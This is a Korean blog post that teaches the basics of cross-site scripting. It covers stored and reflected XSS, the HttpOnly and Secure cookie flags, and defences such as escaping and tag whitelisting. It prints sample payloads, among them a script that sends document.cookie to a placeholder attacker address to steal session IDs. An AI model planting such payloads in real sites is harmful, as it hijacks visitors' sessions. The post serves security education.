Try Attack/Web Hacking[basic]

Cross Site Script(XSS)

D4tai1 2019. 9. 20.

여러분은

무엇이든 잘 믿으시나요?

 

기왕이면 들은 것보다 직접 본 것을 

믿는게 좋을 것 같아요.

 

들은 것은 그 사람의 MSG가 포함되어 있을 수 있으니!!

 

보이는 것도 만들어진 진실일 수 있기 때문에

어느정도의 합리적의심은 필요하겠죠

 

...더보기

나조차도 못 믿는데..ㅠㅜㅡ,.

[00:00] -> 내일 일찍일어나서 공부해야지...

[11:00] -> zzZ.. 

보안에서 위험1순위는 사람이라고 합니다.

 

근데

너무 의심이 많으면 살기 힘들 것 같네요..

 

재고 따지지 않고 믿을 수 있는 사람을 

만들어 보세요.

 

가벼운사람보다는 무거운 사람..

고민을 말할 수 있는 사람..

고민을 말해도 다른사람에게 말하지 않을

그런 가볍지 않은 사람..

마지막으로 사회공학에 강한 사람...

 

그런 사람이 주변에 있으시다면 부럽습니다ㅏㅏ

 


 

XSS(크로스 사이트 스크립트)는 

크로스라서 X가 들어갔겠죠?

 

뭐 그것도 있지만 CSS라는 것이 이미 있기 때문에

중복되지 않기위해 XSS로 지었을 수도 있지요.

 

1. 정의

정의가 여기저기 많고 길지만 저는 이름 그대로 이해하려고 합니다.

스크립트가 포함된 사이트를 교체한다. 스크립트를 열람한 사용자의 권한으로..

피해는 페이지를 열람한 접속자의 권한으로 스크립트가 수행되는 것 등이 있지요.

...더보기

흔한 예로

1) 게시판에 스크립트를 적어놓으면?

2) 게시판의 글을 읽는 사람의 권한으로 스크립트를 수행합니다.

 

 

2. stored XSS와 reflected XSS

1) stored XSS

웹사이트의 게시판에 스크립트를 삽입하는 공격이에요.

[1] 공격자 : 게시판에 스크립트 삽입!! (읽고싶도록 유도)

[2] 희생자 : 게시판의 글을 읽기만 합니다.

[3] 희생자 권한으로 스크립트 내용을 수행

※ URL에 대한 request를 서버로 전송

 

페이로드

<script>alert('XSS');</script>

<script>alert(document.cookie);</script>

위의 페이로드는 눈으로만 보지만

 

<script>공격자가 세션ID를 받을 IP/cookie.jsp?cookie=document.cookie</script>

이 페이로드는 실제로 공격자 서버로 쿠키정보를 전송합니다.

[영상1] stored_XSS1 
...더보기

 

※ 영상을 자아아아알 보면
HttpOnly 속성이 있지요?
이것은
자바스크립트의 document.cookie를 이용해서 쿠키에 접속하는 것을 막는 옵션이에요.

여기는 나오지 않았지만


Secure 속성도 있습니다.
이것은
웹브라우저와 웹서버가 https로 통신할 때만 웹브라우저가 서버로 쿠키를 전송하는 옵션이에요.

 

 

 

2) reflected XSS

웹사이트에 URL을 사용자가 클릭하도록 유도하여 URL을 클릭하여 클라이언트를 공격합니다.

[1] 공격자 : 웹 사이트에 URL을 사용자가 클릭하도록 유도

[2] 희생자 : 클릭

 

 

[영상2] reflected_XSS

※ 참고 : 영상에서는 마지막에 IP주소를 잘못적어서 실행이 되지 않았지만 원래는 실행이 됩니다!!

 

3) 차이점

[1] stored_XSS는 서버에 저장합니다.

[2] reflected_XSS는 서버에 저장하지 않고 웹서버의 반환데이터를 사용합니다.

+ reflected XSS는 크롬과 같은 브라우저가 잘 차단합니다.

 

...더보기

링크든 이메일이든

 

리플렉티드는 크로스사이트 스크립트 구문을 이용해서 파밍사이트로 

Ex) http://facebook.com?#@$^#$T파밍사이트주소 

 

 

리다이렉트는 직접 파밍사이트로 리다이렉트를 합니다.

Ex) http://파밍사이트.com

 

 

3. 대응방안

<script>문자열을 필터링을 걸었습니다.

[영상3] stored_XSS2

 

위 영상과 같이 <script>만 우회해서 시도하겠죠?

 

[1] 문자변환함수를 이용해서 <, >, &, " 등을 

&lt; &gt; &amp; &quot; 등으로 치환합니다.

 

※ lucy-xss를 이용하면 필터링을 조금 쉽게 할 수 있습니다.

 

[2] 부득이하게 HTML태그를 허용해야 한다면..?

필요한 HTML태그만 화이트리스트로 만들어 놓는 방안도 있지요.

 

 

'Try Attack > Web Hacking[basic]' 카테고리의 다른 글

WEB 기초  (2) 2020.05.04
불충분한 세션관리  (0) 2019.09.20
command injection  (0) 2019.09.20
Web hacking 이론  (0) 2019.04.27
File Upload  (0) 2018.08.12

댓글